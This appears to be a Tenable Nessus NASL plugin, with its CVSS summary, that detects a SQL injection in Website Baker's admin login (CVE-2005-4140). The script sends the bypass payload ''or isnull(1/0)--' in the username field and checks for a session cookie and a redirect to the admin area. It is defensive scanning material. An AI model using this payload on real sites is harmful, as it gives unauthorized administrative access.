7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.037 Low
EPSS
Percentile
91.8%
The remote host is running Website Baker, a PHP-based content management system.
The installed version of Website Baker fails to validate user input to the username parameter of the ‘admin/login/index.php’ script before using it to generate database queries. An unauthenticated attacker can leverage this issue to bypass authentication, disclose sensitive information, modify data, or launch attacks against the underlying database.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(20839);
script_version("1.22");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2005-4140");
script_bugtraq_id(15776);
script_name(english:"Website Baker Admin Login SQL Injection");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is vulnerable to SQL
attacks.");
script_set_attribute(attribute:"description", value:
"The remote host is running Website Baker, a PHP-based content
management system.
The installed version of Website Baker fails to validate user input to
the username parameter of the 'admin/login/index.php' script before
using it to generate database queries. An unauthenticated attacker
can leverage this issue to bypass authentication, disclose sensitive
information, modify data, or launch attacks against the underlying
database.");
script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2005/Dec/89");
script_set_attribute(attribute:"see_also", value:"http://download.websitebaker.org/websitebaker2/stable/2.6.1/#changelog");
script_set_attribute(attribute:"solution", value:
"Enable PHP's 'magic_quotes_gpc' setting or upgrade to Website Baker
version 2.6.1 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"2005/12/08");
script_set_attribute(attribute:"plugin_publication_date", value:"2006/02/02");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2006-2022 Tenable Network Security, Inc.");
script_dependencies("http_version.nasl");
script_require_keys("www/PHP");
script_exclude_keys("Settings/disable_cgi_scanning", "global_settings/supplied_logins_only");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);
port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);
# Loop through directories.
if (thorough_tests) dirs = list_uniq("/wb", cgi_dirs());
else dirs = make_list(cgi_dirs());
foreach dir (dirs) {
val = get_http_cookie(name: "wb_session_id");
if (! isnull(val)) clear_cookiejar();
# Check whether the affected script exists.
url = string(dir, "/admin/login/index.php");
r = http_send_recv3(method: "GET", item:url, port:port);
if (isnull(r)) exit(0);
# If it does...
if (
">Website Baker<" >< r[2] &&
'input type="hidden" name="username_fieldname"' >< r[2]
) {
# Grab the username field name.
pat = 'name="username_fieldname" value="([^"]+)"';
matches = egrep(pattern:pat, string:r[2]);
if (matches) {
foreach match (split(matches)) {
match = chomp(match);
field = eregmatch(pattern:pat, string:match);
if (!isnull(field)) {
user_field = field[1];
break;
}
}
}
# If we have the field name...
if (!isnull(user_field)) {
# Try to exploit the flaw to bypass authentication.
if ("_" >< user_field) {
pass_field = ereg_replace(
pattern:"username(_.+)",
replace:"password\1",
string:user_field
);
}
else pass_field = "password";
postdata = string(
"url=&",
"username_fieldname=", user_field, "&",
"password_fieldname=", pass_field, "&",
user_field, "=", urlencode(str:"'or isnull(1/0)--"), "&",
pass_field, "=", rand(), "&",
"remember=false&",
"submit=Login"
);
r = http_send_recv3(method: "POST", item: url, data: postdata, port: port,
add_headers: make_array("Content-Type", "application/x-www-form-urlencoded"));
if (isnull(r)) exit(0);
val = get_http_cookie(name: "wb_session_id");
# There's a problem if...
if (
# a session id was set and...
! isnull(val) &&
# we're redirected to /admin/start
egrep(pattern:"^Location: .+/admin/start", string:r[1])
) {
security_hole(port);
set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
exit(0);
}
}
}
}